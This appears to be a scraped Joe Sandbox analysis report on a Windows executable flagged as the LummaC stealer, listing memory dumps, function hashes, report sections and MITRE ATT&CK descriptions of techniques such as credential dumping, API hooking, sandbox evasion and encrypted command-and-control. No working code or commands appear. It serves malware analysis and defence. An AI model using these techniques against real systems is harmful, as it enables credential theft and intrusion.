Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit
String ID: csm
API String ID: 1969926928-1018135373
Opcode ID: 19a090d337b5289cb2aa2f64d74c49aadee50cee4b888bae0250ae30ba76a082
Instruction ID: 528a50705bc8f16dcf3119a8636b7605a550d5b388ff13bf53d91a5b77e0f97a
Opcode Fuzzy Hash: 19a090d337b5289cb2aa2f64d74c49aadee50cee4b888bae0250ae30ba76a082
Instruction Fuzzy Hash: F9013C75C006259BCF349F64D444BBDF7B5EF24311F6C442EE881AA691CB319A94CB71

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
file.exe

Function 00CF3943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Function 00CF4084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Function 00CF4087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Function 00CD4740 Relevance: 5.5, Strings: 4, Instructions: 501
COMMON

Function 00CED690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Function 00CE4950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Function 00CF4AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Function 00CF4F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Function 00CEDF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Function 00D01DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Function 00D2D7D7 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE